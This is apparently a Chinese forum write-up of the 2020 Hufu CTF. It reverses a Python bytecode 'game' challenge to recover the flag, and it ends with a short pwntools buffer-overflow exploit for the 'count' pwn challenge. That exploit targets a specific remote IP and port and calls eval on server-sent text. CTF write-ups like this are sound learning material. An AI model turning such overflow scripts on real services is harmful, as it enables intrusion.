2020虎符CTF记录



  • Re - game

    • 给了个 Python 反汇编出来的字节码文件,要基于其获取 Python 源码
    • 快 400 行,还行,可读性比汇编好多了...
    • 刚开始以为有轮子,找了半天没轮子,直接硬逆了
    • 比较需要注意的地方有挺多的,首先开始的三个 arr 列表不能抄错了
      • 是的我抄错了,后面 debug 了好久
    # <genexpr> line 6 of game.py
    
       6       0  LOAD_FAST             0  '.0'
               3  FOR_ITER             32  'to 38'
               6  STORE_FAST            1  'x'
               9  LOAD_GLOBAL           0  'ord'
              12  LOAD_FAST             1  'x'
              15  CALL_FUNCTION_1       1  None
              18  LOAD_GLOBAL           1  'range'
              21  LOAD_CONST               32
              24  LOAD_CONST               128
              27  CALL_FUNCTION_2       2  None
              30  COMPARE_OP            6  in
              33  YIELD_VALUE
              34  POP_TOP
              35  JUMP_BACK             3  'to 3'
              38  LOAD_CONST               None
              41  RETURN_VALUE
    
    • 第一个需要注意的地方是 check0,那个 genexpr 是怎么写的不太懂

      • 猜测是检查字符串中的每个字符的 ascii 是否都在 range(32, 128) 里
      • 因为其中也没有涉及到运算符,故没有深究
    • 至于 check2 函数是怎么计算出这六位的,猜测其以 flag{ 开头,能直接计算出第六位是 5

    • check3 是比较麻烦的了,上来一个 map 函数没反应过来,以为是 map(ord(s))

      • 其实注意看的话会发现,此处值 CALL_FUNCTION_2 了一次
      • 故明白其实是调用了有两个参数的函数,那应该是 map(ord,s)
      21       0  LOAD_GLOBAL           0  'map'
               3  LOAD_GLOBAL           1  'ord'
               6  LOAD_FAST             0  's'
               9  CALL_FUNCTION_2       2  None
              12  STORE_FAST            1  'arr'
    
    • 还有个需要注意的是第 26 行的切片
      • 它是获取 flag 倒数第五位到倒数第二位的字符串反向的形式,这个问题也卡了我好久
      • 实际代码应该为 b = arr[-2:33:-1] * 5,相同的字符串拼接五次
      26      99  LOAD_FAST             1  'arr'
             102  LOAD_CONST               -2
             105  LOAD_CONST               33
             108  LOAD_CONST               -1
             111  BUILD_SLICE_3         3
             114  BINARY_SUBSCR
             115  LOAD_CONST               5
             118  BINARY_MULTIPLY
             119  STORE_FAST            4  'b'
    
    • check3 里的 c 就是把 b 与 arr[7:27] 下标对应位异或,没什么难点
      • 里面有个 lambda 函数 lambda x: x[0]^x[1]
      27     122  LOAD_GLOBAL           0  'map'
             125  LOAD_LAMBDA              '<code_object <lambda>>'
             128  MAKE_FUNCTION_0       0  None
             131  LOAD_GLOBAL           6  'zip'
             134  LOAD_FAST             4  'b'
             137  LOAD_FAST             1  'arr'
             140  LOAD_CONST               7
             143  LOAD_CONST               27
             146  SLICE+3
             147  CALL_FUNCTION_2       2  None
             150  CALL_FUNCTION_2       2  None
             153  STORE_FAST            5  'c'
             
    		 ......
    
    # <lambda> line 27 of game.py
    
      27       0  LOAD_FAST             0  'x'
               3  LOAD_CONST               0
               6  BINARY_SUBSCR
               7  LOAD_FAST             0  'x'
              10  LOAD_CONST               1
              13  BINARY_SUBSCR
              14  BINARY_XOR
              15  RETURN_VALUE
              
    
    • 故完整代码如下
    arr0 = [249, 91, 149, 113, 16, 91, 53, 41]
    arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20, 22, 127, 60]
    arr2 = [90, 100, 87, 109, 86, 108, 105, 90, 104, 88, 102]
    
    def check0(s): # 检测所有字符的 ascii 码在不在 range(32, 128) 里
        return True # 生成器逆不出来了
    
    def check1(s):
        if len(s) < 100:
            if (len(s) * len(s) % 777) ^ 233 == 513:
                return True
        return False
    
    
    def check2(s):
        if (((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128 + ord(s[5])) == 3533889469877L:
            if ord(s[-1]) == 125:
                return True
        return False
    def check3(s):
        arr = map(ord, s)
        a = arr[6:30:3]
        for i in range(len(a)):
            if (a[i] * 17684 + 372511) % 257 != arr0[i]:
                return False
        b = arr[-2:33:-1] * 5 # 倒数第五位到倒数第二位,注意是反过来的
        c = map(lambda x:x[0]^x[1], zip(b, arr[7:27])) # b 与 arr 每对应位异或
        if c != arr1:
            return False
        p = 0
        for i in range(28, 34):
            if (arr[i] + 107) / 16 + 77 != arr2[p] and ((arr[i] + 117) % 16) + 99 != arr2[p + 1]:
                return False
            p = p + 2
        return True
    
    
    flag = raw_input()
    if check0(flag) and check1(flag) and check2(flag) and check3(flag):
        print 'ok'
    else:
        print 'no'
    
    
    • 然后就是计算 flag 了,刚开始没认真看以为是密码题,其实就是简单逆向

    • 长度很好处理,计算完得到 39

    for i in range(100):
        if (i * i % 777) ^ 233 == 513:
            print i
    
    • 然后是第六位字符,也很好处理,是 5
    s = 'flag{'
    res = 3533889469877L
    print res - ((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128
    print chr(53)
    
    • 之后要计算八位的特定位字符,这个挺关键的,用于计算后面那个加密的 key
    arr0 = [249, 91, 149, 113, 16, 91, 53, 41]
    flag = 'flag{5aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}'
    for j in range(len(arr0)):
        for i in range(32, 128):
            if (i * 17684 + 372511) % 257 == arr0[j]:
                flag = flag[0:6 + j * 3] + chr(i) + flag[6 + j * 3 + 1:]
    print flag
    #flag{5Laa5aaxaaiaaVaa5aaPaaKaaaaaaaaaa}
    
    • 根据上面得到的几位特殊位置的字符,可以计算出下标7到26的字符
      • 注意 b 是根据上面的字符推算的,而且是反过来的
    arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20, 22, 127, 60]
    b = [113, 70, 51, 117] * 5
    flag2 = ''
    for i in range(len(arr1)):
        flag2 += chr(arr1[i] ^ b[i])
    print flag2 #ZG50ex5Yi75VqE5YePLI
    print map(chr, b) #qF3u 实际上是 u3Fq
    # flag{5LZG50ex5Yi75VqE5YePLIKaaaaaaqF3u}
    
    • 最后差六位的 flag,直接根据 arr3 爆破就好了
    arr2 = [90, 100, 87, 109, 86, 108, 86, 105, 90, 104, 88, 102]
    p = 0
    flag3 = ''
    for j in range(6):
        for i in range(32, 128):
            if (i + 107) / 16 + 77 == arr2[p] and ((i + 117) % 16) + 99 == arr2[p + 1]:
                flag3 += chr(i)
        p = p + 2
    print flag3 # 'l541pN'
    flag = 'flag{5LZG50ex5Yi75VqE5YePLIKl541pNu3Fq}'
    

    Pwn - count

    • 这题相对简单了,溢出点就在计算了 200 次的结果处
    • 直接借用 python 的 eval 函数,用 pwntools 获取需要计算的计算式
    • 半分钟就做完了,然后计算下偏移量 100,溢出覆盖就好了
    from pwn import *
    io = remote('39.97.210.182', 40285)
    
    for i in range(200):
        io.recvuntil('Math: ')
        str1 = io.recvuntil(' = ???', drop=True)
        c =  eval(str1)
        io.sendline(str(c))
    
    payload = 'a' * (0xDC - 0x78) + p64(304305682)
    io.sendline(payload)
    io.interactive()
    
    


  • 鱼大佬真的是TQL



  • 👍 tql


Log in to reply